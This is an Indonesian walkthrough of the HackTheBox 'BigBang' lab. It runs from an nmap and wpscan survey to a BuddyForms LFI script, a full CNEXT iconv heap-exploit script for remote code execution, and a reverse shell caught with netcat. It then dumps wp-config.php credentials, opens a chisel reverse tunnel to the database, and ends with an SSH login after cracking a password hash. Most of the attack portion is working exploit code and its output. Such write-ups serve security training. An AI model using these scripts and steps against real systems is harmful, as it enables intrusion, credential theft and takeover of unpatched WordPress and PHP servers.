Halo semuanya, pada kali ini gw akan bahas salah satu mesin dari hackthebox, yaitu bigbang
Seperti biasa, disini kita akan awali dengan melakukan scanning pada ip target dengan menggunakan nmap
└─# nmap -sCV 10.10.11.52 -Pn -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-25 12:04 EST
Nmap scan report for 10.10.11.52
Host is up (0.027s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.76 seconds
disini bisa kita lihat, port yang terbuka ada 2, 22 dan 80
└─# echo "10.10.11.52 blog.bigbang.htb" >> /etc/hosts
┌──(root㉿kali)-[~]
└─# echo "10.10.11.52 bigbang.htb" >> /etc/hosts
disini kita add 2 host ini pada etc/hosts

ketika domain blog dibuka, disini terlihat seperti wordpress ya. Disini akan langsung kita eksekusi saja dengan menggunakan wpscan
└─# wpscan --url http://blog.bigbang.htb -e ap --api-token <token>
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://blog.bigbang.htb/ [10.10.11.52]
[+] Started: Tue Feb 25 12:08:44 2025
Interesting Finding(s):
hasil dari wpscan memberikan banyak rekomendasi CVE, tapi disini kita akan fokus pada CVE ini https://wpscan.com/vulnerability/a554091e-39d1-4e7e-bbcf-19b2a7b8e89f/

disini bisa kita lihat https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8 cve ini adalah unaunthenticated insecure deserialization

setelah membaca dari artikel tersebut dan melihat aplikasi target, kita bisa melakukan upload images, comments, gif, tapi kita gabisa upload php file. Disini kita akan lihat url http://blog.bigbang.htb/wp-content/uploads/2025/

jika dilihat saat download, disini file yang muncul tidak hanya png, tapi juga ada gif.

Disini kita akan lakukan exploit dengan https://github.com/ambionics/cnext-exploits exploitasi ini akan memanfaatkan vulnerability yang ada pada fungsi iconv dari biner libc saat mencoba konfersi UTF-8
Disini kita akan exploitasi dengan LFI pada GET uploads tersebut dengan menggunakan script python ini
import requests
import sys
import time
import json
if len(sys.argv) != 2:
print("Usage: python LFI.py <file_to_read>")
sys.exit(1)
file_to_read = sys.argv[1]
url = "http://blog.bigbang.htb/wp-admin/admin-ajax.php"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
data = (
"action=upload_image_from_url&id=1&accepted_files=image/gif&url="
f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={file_to_read}"
)
try:
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200:
result = response.json()
if result.get("status") == "OK":
file_url = result.get("response")
if file_url.endswith(".png"):
print(f"PNG URL: {file_url}")
try:
file_response = requests.get(file_url)
if file_response.status_code == 200:
print("File Contents:")
print(file_response.text)
else:
print(f"Failed to retrieve file. Status code: {file_response.status_code}")
except Exception as e:
print(f"An error occurred while fetching the file: {e}")
else:
print("Error: Status is not OK")
else:
print(f"Error: Received status code {response.status_code}")
except Exception as e:
print(f"An error occurred: {e}")
dan ketika kita jalankan, maka kita akan dapatkan value ini


ini menunjukan exploitasi LFI kita berhasil. Tapi setelah kita cek disini kita tidak mendapatkan apapun yang berguna, tetapi disini kita akan fokus pada memodifikasi class extract dari /proc/self/maps, remove GIF magic byte dari filenya, lalu membaca PHP heap address dan full filename dari libc.
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
pip install ten
disini kita install terlebih dahulu semua ini, lalu jalankan perintah python code ini untuk melakukan rce
from __future__ import annotations
import base64
import urllib.parse
import zlib
import urllib
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
class Remote:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
data = {'action' : 'upload_image_from_url',
'url' : urllib.parse.quote_plus('php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource='+path),
'id' : '1',
'accepted_files' : 'image/gif'}
return self.session.post(self.url, data=data)
def send_exploit(self, payload: bytes) -> Response:
"""Sends the payload to the server.
"""
data = {'action' : 'upload_image_from_url',
'url' : urllib.parse.quote_plus(payload),
'id' : '1',
'accepted_files' : 'image/gif'}
return self.session.post(self.url, data=data)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
file_path = self.send(path).json()['response']
if 'File type' in file_path:
print(file_path)
return b''
response = self.session.get(file_path)
data = response.content[6:]
return data
def data_decode(self, data:bytes)->bytes:
data = data.decode('latin-1')
return base64.decode(data + (4 - len(data) % 4) * '=')
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return len(set(result).intersection(set(text.encode()))) > 0
text = tf.random.string(50).encode()
base64 = b64(b'GIF89a' + text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if len(set(result).intersection(set(text))) == 0:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
text = 'GIF89a' + tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
text = 'GIF89a' + tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
msg_success("Exploit preconditions are satisfied")
def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)
def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.remote.data_decode(self.get_file("/proc/self/maps"))
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
failure("Unable to parse memory mappings")
self.log.info(f"Got {len(regions)} memory regions")
return regions
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
LIBC_FILE = "./libc.so.6"
# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)
print(f'HEAP address: {hex(self.info["heap"])}')
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
#self.download_file(libc.path, LIBC_FILE)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
print(f'LIBC address: {hex(libc.start)}')
self.info["libc"].address = libc.start
def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.remote.data_decode(self.get_file(remote_path))
Path(local_path).write(data)
def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path in ("", "[anon:zend_alloc]")
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using last one)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def run(self) -> None:
#self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()
def build_exploit_path(self) -> str:
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource) #b64(pages)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.L1.L1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.L1.L1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.L1.L1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.L1.L1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
msg_print("Sending exploit...")
print(f'PATH: {path}')
self.remote.send_exploit(path)
except (ConnectionError, ChunkedEncodingError):
pass
msg_print()
if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
msg_print()
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
Exploit()
dan pastikan mendownload file libc.so.6 nya pada link berikut https://drive.google.com/file/d/1InzQsICtAjSBzrAZPkCD-YBII5gNxMxy/view?usp=sharing
lalu jalankan command nya

jangan lupa untuk menjalankan listening pada port 1337
nc -lvnp 1337
disini kita akan langsung dapatkan shellnya
└─# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.125] from (UNKNOWN) [10.10.11.52] 51660
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@8e3a72b5e980:/var/www/html/wordpress/wp-admin$ whoami
whoami
www-data
www-data@8e3a72b5e980:/var/www/html/wordpress/wp-admin$
disini kita akan lihat wp-config.php, untuk mengetahui default configuration dari wordpress, secara target kita sekarang adalah wordpress
www-data@8e3a72b5e980:/var/www/html/wordpress/wp-admin$ cat ../wp-config.php
cat ../wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/documentation/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY', 'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY', ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY', 'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT', '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT', '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT', 't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/documentation/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';www-data@8e3a72b5e980:/var/www/html/wordpress/wp-admin$ cat ../wp-config.php
cat ../wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/documentation/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY', 'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY', ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY', 'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT', '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT', '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT', 't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/documentation/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
disini bisa kita lihat, bahwa database berjalan secara lokal di 172.17.0.1, kita akan menggunakan chisel untuk melakukan port forwarding
└─# chisel server --reverse --port 1337
2025/03/04 16:02:35 server: Reverse tunnelling enabled
2025/03/04 16:02:35 server: Fingerprint qcThWkHSXWJPnaCszbx+E8VOIOf0aL9kb/UljZciuEw=
2025/03/04 16:02:35 server: Listening on http://0.0.0.0:1337
dan sekarang kita akan tranfser ke client untuk capture
└─# chisel client 10.10.14.125:1337 R:3306:172.17.0.1:3306
2025/03/04 16:03:00 client: Connecting to ws://10.10.14.125:1337
2025/03/04 16:03:00 client: Connected (Latency 286.02µs)
dan kita login ke mysql dengan menggunakan
┌──(root㉿kali)-[~]
└─# mysql -D 'wordpress' -u 'wp_user' -h 172.17.0.1 --skip-ssl -p
lalu kita akan ambil passwordnya
SHOW TABLES;
SELECT * FROM wp_users;
disini kita akan mendapatkan password hash dari shawking, lalu lakukan bruteforce, dan jika sudah berhasil, login gunakan password tersebut. Disini kita akan langsung dapatkan user flagnya
└─# ssh shawking@bigbang.htb
The authenticity of host 'bigbang.htb (10.10.11.52)' can't be established.
ED25519 key fingerprint is SHA256:w7PN9DfWgTxbKl4gY79ZdTPLHPbZEfNlJN/9PTBIFBM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'bigbang.htb' (ED25519) to the list of known hosts.
shawking@bigbang.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Mar 4 08:59:03 PM UTC 2025
System load: 0.0
Usage of /: 65.5% of 9.74GB
Memory usage: 25%
Swap usage: 0%
Processes: 174
Users logged in: 0
IPv4 address for eth0: 10.10.11.52
IPv6 address for eth0: dead:beef::250:56ff:feb9:7f00
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
